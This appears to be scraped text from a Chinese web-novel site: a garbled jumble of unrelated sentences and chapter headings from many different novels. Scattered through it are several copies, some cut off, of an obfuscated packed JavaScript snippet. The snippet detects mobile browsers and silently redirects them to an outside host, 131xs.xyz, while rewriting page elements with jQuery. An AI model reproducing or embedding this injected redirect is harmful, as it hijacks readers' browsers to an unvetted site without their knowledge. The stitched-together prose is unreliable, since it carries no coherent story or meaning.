祝老闻言也轻笑,这也是他最为看重陈凡的,尽管此刻哪怕是陈凡的影响力极大,早已超过了他们这些人,但依旧没有丝毫的架子,和以前认识的那个陈凡一样。 而在防御之中,龟陆仁的玄武奥义得到磨练,一步步的提升,整体的防御之力水涨船高。 荧鸾紧紧抓住楚昊天的衣角,她一脸恐惧的看着法阵中盘坐的断臂人。 在思考片刻以后,大概十分钟,再一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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走过走廊,她的眼前出现了一个不大的花园。这花园里假山林立,树木幽深,显得很偏静。 冷敏噗的一下笑了出来,尽管脸上飞满了红晕,还是朝着卢映然乖巧的点了点头。 而就现在易报上所看到的这些,让甘道夫,乃至是阿拉贡,菜戈拉斯他们,心中都由衷的浮现出一丝钦佩。 “好的。”洛芸应了一声,去轿车旁说了自己的事,也说了安爷爷的话。 “什么?我们已经离开稽洛山了?”水铃儿听她此言,头皮一阵发麻。 这突如其来的海洋入侵活动,吸引了所有玩家的注意,然而可惜的是,由于玩家们等级普遍很低,大部分玩家甚至都还没有转职,根本不可能跨大陆传送,因此,注定这次重大的资料片活动只能由处于黑陆洲的玩家们来享受。 6月18日凌晨两点,德军第9集团军司令部,参谋长埃里希?霍普纳中将被副官给叫醒了。 回过头来,北辰星主暂且不说,南斗六星都是和命运法则有关的星辰,其中和命运法则最为接近的,就是南斗六星之首的天府星。天府星又叫做南斗司 命之星,其所具有的力量就是命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229083|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运之力。 事实上在大道尽头前面的一切早就布置好了,在何秋丽的正前方有一块巨大的白色帷幕遮挡着,在他命令刚落下的瞬间,这巨大的白色帷幕落了下来,揭开了它神秘的面纱。 躺在床上不知道做什么好,她习惯性地点开朋友圈,没想到第一条就是苏绻绻发的内容。 回到家见陈实还没打电话来,她便睡了个午觉。下午三点多,接到陈实电话,约她晚上去凯悦酒店的旋转餐厅吃晚饭。 苏绻绻马上扑过去抱住他,迫不及待地将唇凑上,一边含糊地喊着他的名字。 新官上任三把火,把火烧完了以后,李安安这才不跟所有人玩了。还是从1+1等于几开始教吧,一开始就让这些人做乘除法,的确是为难了人家了。 虽然再不斩表面上看起来凶恶,残暴,但对于雾忍村,还是有一定的忠诚的。 莫云聪也不接话,笑着拉她来到一面穿衣镜前,示意她自己照镜子。 疾风之狼提起雷帝之剑冲向麦扎德,在即将砍倒他时突然消失。“疾风御剑术,狼锤闪—— 第一卷 第212章 薪火相传 张明朗没再往死里逗我,听从了我的话,又是折腾好一阵,他忽然一把将衣服披在我身上,抓着我的手帮我套进去绑好衣服带子,一把抱起我,朝着卧室外走去。 莫柔不禁诧异,他爹今天不是还很生她儿子的气的?这现在是怎么回事? 换句话说……我们知道银河是真实存在的,但只是单纯的理论认知。 八重樱出手时斩出的攻击,全部都被许研武给用一只手握着竹刀给挡了下来。 “随爱承认不承认,不过,他没亲自跟来杀了我这个凶手未妻儿报仇,定然是因为有更重要的事吧?”月离说着,随即若有所思起来。 尼克午饭都没有吃,就拿着手机去检测室找丁丁,经过他们俩的技术分析和检测,在死者西尔顿的手机上面留有伊芙来和荷兰豆的指纹,她死前接的最后一个电话就是伊芙来打过来的。 卡莲冲着许研武道着歉,在她看来,许研武本来是应该没有事情的。 一个惊慌失措,我手忙脚‘乱’全部挂掉,装作什么事也没发生那种,却一下子眼泪掉了下来。 两只猫又往前面走,看见大学路上又有一个垃圾箱,这个离40路远一点儿。 所以,那天我才对你说,这一生,我只能陪着可馨走下去了,因为纵然法律定我轻罪,但如果可馨独自死去,那么我生命的另一半也就跟着死亡了,我活下去也形同行尸走肉。 尹月容上层圈子呆了几十年也不是白混的,多少反应过来是怎么回事。 只不过,陆游播种的东西并不是普通的种子,而是各种珍贵的阵法材料,比如说金曜石、引雷木、离火铜、玄铁……甚至有些地方还埋藏了大水缸。 韩谦想要弯腰去亲温暖的时候,温暖突然起身对着韩谦的脸蛋咬了一口气,韩谦把姑娘搂在怀里,柔声道。 烦人的苍蝇走了,雷辰等人纷纷落座,只不过当他看清楚桌上坐的人时,脸色顿时变得古怪起来,他不禁怀疑刚才刘博明的让座是不是故意的。 “陈**,先前我误会你是歹人,受了些惊吓,又消耗了不少体力。 “ 走吧!我继续回去炼剑估计等你到了谷底也就差不多成了。”说着红锦便又是回到了**内部。 而且她被周钰抛弃的事情不是什么秘密不知道多少暗地里幸灾乐祸看热闹的。 孟起已经能想到自己空着手见到对方然后告诉对方我是来率领你们拯救世界的最后被对方一巴掌打下比天山的场景了。 众人聚在一起卓成峰面色严肃道:“刚才本队长得到密报宗门附近有我宗弟子与魔道武者暗中进行交易。 一开始我觉得沈林风的爸爸真有意思来这里放松什么但是听了沈林风的话我才觉得沈林风的爸爸是一个睿智的人现实生活中肯定是个大人物。 看了一下炮塔下己方的两个**兵和一个弓箭兵刘峰没有后顾之忧。 尤姆赤着雪白的身子拉着被单 因为对于秋梅我其实在心里对她充满了愧疚和同情毕竟他父亲曾添铭的死和我多多少少也有那么一些关系还有就是我觉得这两年她应该过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229084|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的比谁都难受。 ‘第一战将让我血气之巅来看看你真正的实力!’一阵粗暴而又冰冷的声音落下。 难道真的让沈林风被绑上他父亲的战车成为一个不近人情的筹码吗?率直的沈林风永远都不会想成为一件牺牲品的。 拿人完毕最后就是谁玩了。经过十来秒的换人双方都选择了准备。 还有就是我现在身上已经没有资金了现在叶家虽然实力不敌野草组织但是他们背后的叶氏集团却有着雄厚的财力我去找叶蓉其实也是想要找叶蓉要点钱。 我恍然醒悟于老骚是半人半鬼同他的阴兵一样都是人鬼两界所不容的黑白无常专门负责对付于老骚这样的偷天换题活在世上的半鬼真是一物降一物没想到天不怕地不怕的于老骚见了黑白无常就跟老鼠见了猫一样。 他要陪我去修车我感到了惊喜我很珍惜他能陪着我做的每一件事似乎这样就可以逃避孤单的寂寞。 徐子阳这货也是狠人一个退学之后又复习了几个月在第二次高考中再次考上BJ大学的心理学专业。 阿半调酒的时候很认真那种认真的模样让人不忍去打扰。我看见她的手在空中挥舞我不明白为什么她要做那么多的动作去调酒难道她就不怕打翻那瓶酒吗? 现在李天真的开始怀疑令狐泽的智商了令狐泽长得这是什么脑袋简直就跟木鱼一样什么都不懂。 那**的卫士想了想对方说的倒也真是那么一回事要是把面前这些个贱骨头给打残了一会儿重修石台岂不是更废功夫到时候岂不是又要被安室大人责骂一顿。 第一卷 第213章 她有办法 陈宴眼睛一亮,立刻问:“什么法子?” “可否带我先去看看老太爷?我边走边和你说。” “好。” 叶绯霜清了清嗓子:“你见过长绿毛的橘子吧?” 陈宴:“没有。” 叶绯霜:“……” 她猫着腰,闭了闭眼,真希望旁边大马路过辆车,至少没有那么紧张。 “问题是她发的微博号是她自己的,而且……而且……”苏俊杰突然支支吾吾了起来。 看到颜魁满意,黑衣汉子们齐齐松了一口气,而正当他们以为自己终于能消停下来后,颜魁这边又发出了恶魔之音。 辉世的剑刃出鞘,宇宙能量以纯粹炮火的形式射出。那是能轻易粉碎行星的火力,带着一往无前的气势冲进了时间静止的领域,正面击中了完全没有防备的天神身体。 虽然胡二疤子的心腹迅速反应过来,解决了这三个反水的土匪,但寨内的局势再也控制不住,许多想要投降官军的土匪纷纷冲向寨门,胡二疤子迅速带领心腹弹压,寨子内瞬间瞬间乱成了一团。 “好多了,已连续几日没烧了,大哥查到了一些线索,果然是有人故意为之。”胤禛赶紧说道。 不消一刻钟,她的丫鬟就告诉了她凌夜住的地方。便迫不及待来了这里。 因为恐惧本源的大事件里大蛇被托尔在地球上解决了、最终也没能杀去阿斯嘉德,所以理查德才忽略了这一点——大蛇本质上和奥丁相同,也是依附于阿斯嘉德存在的天父神明。 他们想要看看这个塔玛尔星的统领此时是什么表情,那样才能确定他是天性放浪,还是对妻子无时无刻的在意。 不过,却也并非毫无变化,随着时间的推移,雪清寒身上的气息却似是彻底的沾染上了这一片天地之间充斥的佛道气息,似融入了这一方天地之中一般,似乎成为了这一片天地之中力量的一部分。 回到华夏联邦,尹伊将飞船重新收纳进入系统里,拿出智脑,网上关于尹索的消息铺天盖地而来。 舒靖容脚下一动,身子已经轻巧的 跃上了码头之上,扭头撇了撇嘴,对着权绍皇催促道。 两年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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望着那滔天巨浪,勇者眼眸凝起,松开手中的弓,从曼陀罗方阵中重新取出了一样武器。 方勇他们所住的酒店里就有餐饮包房,算了一下人数,向酒店吧台那里定下了一间宽敞的包房。 既然如此,诺亚也没有理由着急,便心安理得的坐在那里,观察起了周围来。 **的意念是十分强大的,他本身就带着强大的精神意念投生异世,且经过这些年的精神修炼,不论是适之封和魂定三声的修炼,又或是炼制丹药等,又或者是服用帝魂果等宝物,都对**的精神意念有着极大增进的作用。 随着不知道是第几次的碰撞的产生,浑然震荡而起的冲击劲风中,诺亚与三头龙同时倒飞而出,将大气给搅得一团乱。 虽然林风如果捅出这个秘密,本六大财团会发疯的去攻击林风一切产业,用**式的方式去攻击林风,林风绝对不会好过。但是至少林风还有周旋余地,他却一点都没有了。 更何况陈景恪身家清白,没有任何底蕴,皇家想掌控他太容易了。 而今,眼前这人不仅在短时间内领悟了阴阳玄变,还同时领悟了长河落日剑诀和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229086|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海上升明月? 邪神塔尔吧裹挟着惊人的诅咒力量竟然也无视铁幕护盾的力量,所经之处人畜皆亡。 胖一点,但面相和眼神都很成熟的少年,名叫戴俊明,S级天赋,但他的职业是很稀有的隐藏职业——炼金术师。 “爷爷……您也听到录音了,我不是抄袭,我是买断了作品。我有时候会买一些作品来商用。”姚雨彤死鸭子嘴硬。 重点还在几个没有灵剑的亲传上面,尤其是叶清寒,他的本命剑会是什么样的呢? 主要是青瑶手中仙剑毕竟是天池水凝成的,也不是什么神兵利器。 哪怕是斩断了枷锁,已走在了无相之路上的无涯圣者也为之投下了目光,紧随着到了天帝道宫之前。 深吸口气,在原地缓了十几分钟,张一谋才拉开卧室的门走了出去。 这不是一个暗星局探员该说的话,但在高度紧张之下,这番话就这么说出口了。 可是,她都已经去走廊上打电话,没有吵到许晋朗了,他怎么还是不开心? 第一卷 第215章 你这么好 凌渡宇一看还是老熟人,托塔天王带着巨灵神进来了。在他们后面跟着一些灶神的下属,明显是没有法子拦住托塔天王。 肉身足够强悍的话,所展现出来的力量是极为强悍的,秦冥利用拳头、手肘等等部位,都可以进行攻击。 狼爪一闪,达瑞再次被撞飞,这次撞击的力道更猛,达瑞的身体飞出了五米多远,重重撞在一棵大树上。 这金色光芒并非灵力,而是蕴含在血液中的神力。自己尝试无数办法,也无法动用分毫,如今却在大鹏的双翼空间中,被逼迫出来。 天生看到这个在乱世之中荒废,破败,然后又重新焕发活力与生机的城池,心中颇有感慨。 眼前这片空间,到处弥漫着混沌色的雾气,给人一种如梦如幻的感觉。 恐怖的大**席卷八方,将空间都撕裂开,留下一道道黑色伤痕,久久都无法完全愈合。 抬头看向满脸惊慌之色的威拉总管事,达瑞手中的战吾剑一竖,指向了他。 项连音倘若不是估计首席会势力庞大,再加上一直以来他都没有参透那个秘密,否则的话他早就杀上洞虚世界,岂会一直龟缩在原始宇宙中不出来? 众人都对路隐的这个安排没什么其他的异议,所以在这个时候路隐也缓缓松了一口气。 “对了,你拆掉一些下人住的房子,给我建一个校场出来,越大越好。”赵寒话锋一转,严肃道。 “我哪也不走,嫂子你放心,今天我在这没人敢把你怎么样!”李铁柱十分霸气的说道。 即便是姜钰琪这种不太热衷游戏的人,也觉得这样的房间简直舒适至极,何况是默默对游戏有些偏爱的孩子。 “元浩,怎么了?”郑成觉得奇怪,凤元浩看他的眼神怎么突然凛冽了两分。 姜钰琪有些哭笑不得,盛庭骁除了和儿子睡,还有更多的选择吗? 路隐的话让卢德海也迟疑了,他没有想到路隐会把话说的这么直接。 宋晴雪也缓缓的转过头,然后把自己最近的工作情况跟刘倩说了一遍。 因为他 们不熟悉业务,也从来都没有做过游戏和动漫相关的东西。 李邦华在向天启妥协之后,没想着敷衍了事,直接从最精锐的先锋中选出了六千人给天启。 卢象升自然不会考虑不到这一点,但他有信心杜绝这种情况的发生。 石美琪可没看到夏心暖脸上有半点的紧张感,只当她有后台故而有恃无恐,不耐烦的挥挥手,让她在三号会议室里等着。 在原有的想法里,拿下了虎牢关,足可打通通往雒阳的大门,于巩县下,且只留下三分之一的人马,慢慢破之,静静等到吕布与董卓之间,矛盾爆发。 对此,胡强全然不知,还在继续低着头,一边神游物外,一边按摩脚底板。 当然,他这部人马,有王匡、桥瑁、鲍信、袁遗、孔融、张杨、陶谦、公孙瓒等人,原本该是袁绍亲来临的,但将这大部让于他,也有感谢之意。 测评师一边说着,还一边得意洋洋地看着林羽,完全是一副胜券在握的模样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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按下发送按钮之后,他摇头发出一声轻叹。为她们的遭遇而感到惋惜,明明付出了艰辛的努力,却依旧是这样的结局,只能感慨时运不济。 不管怎么样,就算玖玖现在是男儿的打扮,但就凭着她那张与欧阳夫人格外相似的脸,自然不能继续留她在京城了。 回去的路上冯靖山开车,冯靖宇对王伶韵很陌生,冯征理给侄儿介绍了王伶韵。 孔渊离开之后,花莲坐在椅子上,看着面前那个盆,犹豫了好一会儿,终于还是没有立即去尝试。 如今周怀礼已成气候,吴三奶奶亲生的两个儿子远远不如周怀礼,他如今也是悔之晚矣。 这视频的拍摄角度有点不好分析,就像是在半空中有一双洞察一切的眼睛,记录下发生的那一幕。 金纤云的性格很喜欢热闹,而且人齐的话,很久没有开始的烛光夜谈也可以继续进行了。 但是,她看水晶的神色似乎和自己想像的有些不一样?相处的多了,很容易就能够从对方的表情中猜测出此时的想法。 光看到眼前的大家伙时,大家就觉得打开它应该是相当的困难的。 虽说在全球范围内,沃尔沃也算是豪华车品牌当中的一员,但是总体来说,逼格和捷豹以及路虎还是有差别的。 打了个哆嗦,张彻回忆起当初腆着脸去赖皮的时候,那老头打着先打熬筋骨的名义,可没少让他吃苦头。 李不凡仔细数了一下,只有十二个蒙面人。为首的蒙面人是一个丑陋的独眼龙,看上去很是邪恶,让人不敢直视。 顾仁一路下坠很久才停下来,随之而下的还有血雨,以及白骨块 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拿起包包斜跨在背上,在玄关口穿上白色的休闲鞋,关上门就跑出去了,高高的马尾因跑的动作而两边摇晃,才洗过脸的惠彩更洋溢着青春的朝气,在阳光下绽放出可爱的姿态。 章远对导演感激三连,直呼两位是贵人,自己和尹伊幸运的与上了娱乐圈中少见的好人。 李致相信,如果他们的配合再到位一些,或者说他们的实力再强一些,打出连球火球来也不是问题。 王宝泉长叹一口气,整整四年的时间,相对修真者来说,仿佛是恍如昨日,他还清清楚楚的记得,在成为无极门弟子的前两天,母亲在征询他的意见,准备向珠儿家里去提亲。 赵炎的这一记龙象炮捶拳,直接切断了黑龙王的两根肋骨,然后从其脊背后切开一个血窟窿,逃脱出来,一直冲出了将近数千米,方才止住了前冲的脚步。 方维听了水诗韵的话,记在心里,知道这些东西在医院门口肯定有卖。医院离北大校园不远,不一会方维的车子就到了,水诗韵下车在一家店里买了一个水果篮还有一束康乃馨。 玉儿看到鸣人没什么反应,有点生气,不过旋又想到现在毕竟在人家家里,也不好怎样,只能在心底暗暗的说:明天有你好看。 “好了,少 说一点,不然我家老头听到有你好受的。老六对着鸣人提醒道。 陈扬前脚一走,张平紧跟着就给方逸去了电话。在电话里,他频频点头说是,至于方逸具体说了些什么,却不得而知了。 乐浪看了在一旁没心没肺的笑了起来。蔡少卿看到乐浪那一脸的贱笑的模样,恼怒的从旁边拿出一块石头往水里一扔,水花四溅,溅了乐浪一脸,狼狈之级。 后山灵田,谷傲雪正在施展灵雨术灌溉灵田,她脸色欣喜,显然灵谷长势良好。 言下之意,其实已经是做出了决定,但是同时,其实也是在告诉石磊,想要通过他来对大唐进行反击,阻力恐怕会很大。 当然了,在绝大多数国人眼中,也只有过了农历新年,那才能算做是真正开了新的一年,至少对于陈扬来说就是如此。 可是紧接着下来,家里的情况一天不如一天,当母亲和父亲都被免职的时候,她才有些慌了。 她的卫星电话有风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229089|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险,就算让她打电话,她也不能打,所以只能让琴酒去打电话。 当然也不是说华家就是那种古代庄园的样子,在华家同样有着现代的楼台,不过那些楼台错综复杂,外观同样优美典雅,和整个庭院不但没有任何冲突,反而有一种相互辉映的感觉。 白石攻击手段很诡异,让人根本无法理解其手段,修卡大首领双眼死死分析着白石刚刚的动作,意外发现他拥有某种让人无法理解的法则。 “也就是说会让我陷入两难了,这倒有意思,兄台不妨说说看。 “我们去这里坐坐吧!说着李少扬拉着露西坐在沙滩上,面对着太阳升起的地方伸手将露西搂在怀里,这样露西会温暖一些。 那服务员懵懵懂懂地看着叶南卿,因哭泣而红红的眼睛中,透着一种诧异和惊艳。 就在他们救了人成功逃走的时候,惊动了外围的守卫,外围侍卫统领陶松,未防罪人逃走,当机立断,取出属下人递来的弓箭,一箭正中蝴蝶夫人的当胸。 “明勋哥,放心。没什么大事,PD只是提醒我刚才的镜头太少,待会在下个环节时得多活跃一点才能补回分量。黎威笑着说道。 岳樵秉被羌满扒个精光,此时恼羞成怒,伸手扯下旁边一个士兵的衣服,缠在腰间当遮羞布,然后纵身冲向羌满。 后面的铁血战士画风一转,直接从猎杀的天魔成了天神,颜色都白了,残破的地方看不到出手的招式和武器,没有残破的都是铁血战士踩着目标的身体,仿佛炫耀自己猎杀的成果,没有一张能够证明铁血战士的战斗风格。 第一卷 第218章 你选我吧 看门的护院好像眼一花,又一道身影晃过去。他揉揉眼睛,最近看来得了眼疾了,连有没有人进出都搞不清楚。不过最近洛阳太危险了,来了很多江湖人物都是自己得罪不起的,就算看得见也装作看不见,这样最安全。 “你也感觉到了?”君潇潇有些惊讶,她没想到,夜寒的精神力水平竟比他自身境界高许多。 言离忧呢喃自语,缓缓低头看着自己双手,不冷,不热,不痛,不痒,就好像那双手已经脱离身体不再属于她一般,还有双臂,双腿,双脚……四肢百骸毫无知觉,如同被人掠去。 灵狐族与周家在李风与八高手的助力下,占据了烟城,以及青云山。势力大增。随后风组成员依次来到了烟城。 相对沉默到都觉不忍时,又是突兀的异口同声,对视呆愣片刻,温墨疏和言离忧齐齐苦笑。 “呸,活该。”张健吐了口水,一脸嘲笑的看着高帆。不过高帆现在却没有注意到我们这边,现在他的所有注意力,全部在黑豹和陈队长的身上。 她心中登时警铃大作,暗道不好,手握了佩剑,直想站起来往外冲。但一站起身来,便感觉自己头晕目眩。在她最后意识里,模糊当中看见两个白色的身影进了门,径直朝她走了过来。绮云咬紧牙关,终人事不知地昏了过去。 一夜无话,第二天一大早叶浮生就被阵阵的敲门声给惊醒了,叶浮生暗自咒骂了几句,然后穿着一个大裤衩就起身开门去了。 苏流锦也意识到自己说了句废话,不敢再瞧张重,从他的身边擦身而过,走进了屋里。 他爪子再次一甩,就把王辉的身躯甩了出去,掉落在地上,砸出来了一个大坑。 甫一落地,知秋神官脚步明显有点踉跄,加之面色酡红,明眼人一看便知是怎么回事。 晚风吹的篝火噼里啪啦,我们就着玉米饼子把一瓶烧酒和一大锅鱼汤给喝了个干净,就连一向冷冷的蛇花子都喝了两碗鱼汤吃了一块饼子。 我闻言脑子里像响了一个炸雷,我迅速转过身子,一张满是邪气的白骨脸几乎就要贴到我脸上,我想都没想一脚就踢了过去。 刘一手在他俩窗子跟前咳了一声,其中一个梅帮兄弟说,先生回来了?进来吧,我俩没睡,说话呢。说着披着衣服起来,点着油灯。 江辰如果你敢背叛我,我一定将你粉身碎骨,我邀月得不到的男人,谁都别想得到。 “哼哼,龙之你还真是个傲娇的受虐狂呢。姬夜雪也笑了起来,使劲地向他泼去水。 这些人都是两国一等一的高手,西夏一品堂,凡是进入一品堂武功皆是一品。 程主任带着回元丹回到自己的实验室,召集所有的助手开始研究,而且还亲自给京城中医院的冯院长打电话,邀请他一起过来参与回元丹的研究。 一具具翻着白色肚皮的海洋生物,让大大的海域呈现出一种深沉到极点的死寂。 “爹,娘,我想你们了! 我把罐子上的泥土擦掉,又找了坚实的绳子,捆在口子上,打成一个带子,这样就可以轻巧地背在肩上。 “大哥,我错了。说完矮冬瓜把自己的裤子扣好,继续去干活。 透过监视器,看着富士山上的华夏武者,山本木村的眼中闪过一道寒光。 本来赵季还想把我的头硬是撑起来,我既然已经清醒了自然也就没他什么事了,抬着头,挺着胸,虽然不知道什么原因,可是我知道赵季不会坏我的。 天圣族,所有人天生都是如此,他们自身都凶悍无比,绝对不是容易妥协的种族,可是这次,面对的敌人太强大了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229090|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刚才他们进入石洞的时候,确实有看到秦飞和白琳来着,只不过注意都放到了郑芸身上,却是没太注意。 霍佳佳忍不住松了一口气,她也是被这毛病折磨的没有办法了,难得遇到了一个不需要看的,否则哪里会答应呢? “没,没事儿,可能是扭到脚了吧!张可儿白嫩的纤纤玉手,轻轻的捂着那如白玉一样的脚踝,眸光有些闪烁的说道。 我盯着那弟子仔细瞧了几眼,把他相貌记下。心想这回要是能活着出去,以后见到这人非得好好揍他一顿不可。 他最喜欢 的姐姐死掉了,爸爸却不肯让他去见她最后一面,说他们不是一家人。 不要以为选择扣篮就万事大吉,瞧詹皇的眼神,不管杜兰特跑到天涯海角,还是蛮荒之地,他都要大帽到底。 “足够一百人分量的皮萨。还有一些水果。”哈利将一箱东西搬下来。 之前叫嚣的冒险家全部拖着被余波伤到重创的身体,逃也似的离开冒险家工会。 这句话表明了凤珏连凤卫国的后事都不想参与,甚至连葬礼也不想参加了。 大家都习惯了这种空中飞人的日子,没有过多的逗留或者闲逛,身体熬不住的就回房间,身体棒棒的就在酒店的餐厅用点夜宵或者喝点什么。 傅霜叶在那神经质地说着“我的头发”,却没有更进一步做其他动作。 人在强大到一定实力的时候,是不屑于用计谋的。姬蘅之于她,就不必用这些。 “单位产量是多少。”他们研究的高产基因,如果产量无法提高到一定程度,那当然不能说得上是高产。所以他对此还是很期待的。 刚才的黑影一句不中,就直接消失掉了,甚至都没有留给金羿他们时间看清楚黑影的长相。 第一卷 第219章 别讨厌我 要知道这种精密的介入手术助手的动作是会影响的一旦脱钩就前功尽弃了。 \t秦风也累得不轻强撑着一口气用警用通讯设备与指挥部联络让他们马上派人来接应。联络完之后秦风一下子躺在草地上累得再也不想起来了迷迷糊糊就睡了过去。 安琳雅就是见不到云栀好好的明明只是落水简单的发热而已偏装病那么多天银珏也跟着担心了那么多天。 难道说这个地方只要进入就不能出去了吗?可是追日他们不是才离开的吗? 被眼前一幕刺激到的沭霖不顾一切的变成兽形冲出山洞奔向战场沭昆紧随其后两只花豹冲进战局。 治愈的力量灌输进亚斯的身体避免亚斯恢复兽形按照现在亚斯的伤势亚斯只能恢复兽形缓解但银舒不会给他这个机会的。 远处一座海岛出现绿色的植被还有常年被冰雪覆盖的火山这一切都在告诉我们这是X本的盘。 “恩!说你人很笨长的又不帅气而且有时候傻乎乎的。”玫瑰葬直接说了出来。 皇后娘娘可是几次找人敲打他们必须好好看着太子绝对不能再惹事生非。 沈炎萧和沈景接触的次数屈指可数两人之间几乎没有任何的交谈偶尔的几次见面也是在沈峰的动员下草草走了个过场。 只是才刚转身还不待走上两步那门就猛的一下从里拉开。唐芦儿反射性地一回头即看见一个满脸阴霾的男子从里头走了出来两人不可避免地打了个照面唐芦儿知道躲不了了只得低下头让到一边。 高远看了看许盈有看了看后面温柔的白雪心里一动知道自己该怎么办了。 张大力和李天一都倒吸一口凉气这冉飞心里的计划两人不要说什么建功立业自己从来就没敢想过自己的见识最多就是一个普通百姓心里想的平平安安的度过一生不要有什么灾难就很不错了。 一路上无风无浪窟狼佣兵团的成员并没有什么紧张 “那斯羽哥我先走了。沈炎萧乖巧的同沈斯羽道别,虽说今天听到的这一切确实有些惊悚,但是她却也没有对沈斯羽生出任何的疏离之感。 自古亲事便是父母之命媒妁之言,她挑的又是知根知底的,不会让她步顾容澜的后尘。 她声音虽然是质问的语气,但那眼神分明就是笃定,她认定是明澜给方姨娘下毒的,目的是害方姨娘腹中胎儿。 胤禛大刀阔斧的整顿起风声鹤唳的内务府也总是拿着内务府各种账本回府磨着哄着舒瑶帮他看账本不是胤禛不争气但他看五本账本的功夫舒瑶能核算出十本来胤禛当然会让舒瑶坐在他怀里看账本了。 可是见到沈炎萧之后,他们会明白,上天对沈炎萧有多么的偏爱。 “肺痨!韩枫一只手放在了子和的手腕上开始把脉,一下就明白了这个病的根源是什么,就是肺痨,怪不得寻遍名医都没用,这在古代死亡率最高的一种疾病。 对此,林东是非常满意的,秦筱米同样很开心,既帮到了林东,又没让老爷子失望。 叶子恒远远向霸天他们比了一个OK的手势,然后继续向甬道深处走去。 他缓步来到山羊旁,毫不客气的将它拎了起来,揪起一撮**就准备拔。 叶子恒当即反应过来,或许这其中就是那个所谓的“帝王之心在作怪吧。难怪那个变态如此迫切的想得到欧阳天沐的身体。 “……虽然耿之明内心真的毫无波澜甚至还想再睡一觉,但理智还是阻止了他这种作死的行为。 “说,你怎么能吸收那么多的真气的?不等沐白开口。辰清雪先发制人,怒声问道。 官场上的明眼人看到的东西自然和常人不同,他所看见的是秦府的大势已成。 叶子恒一眼便看上了这里,而且更重要的时,这门面的门口居然贴着面门出租的字样。 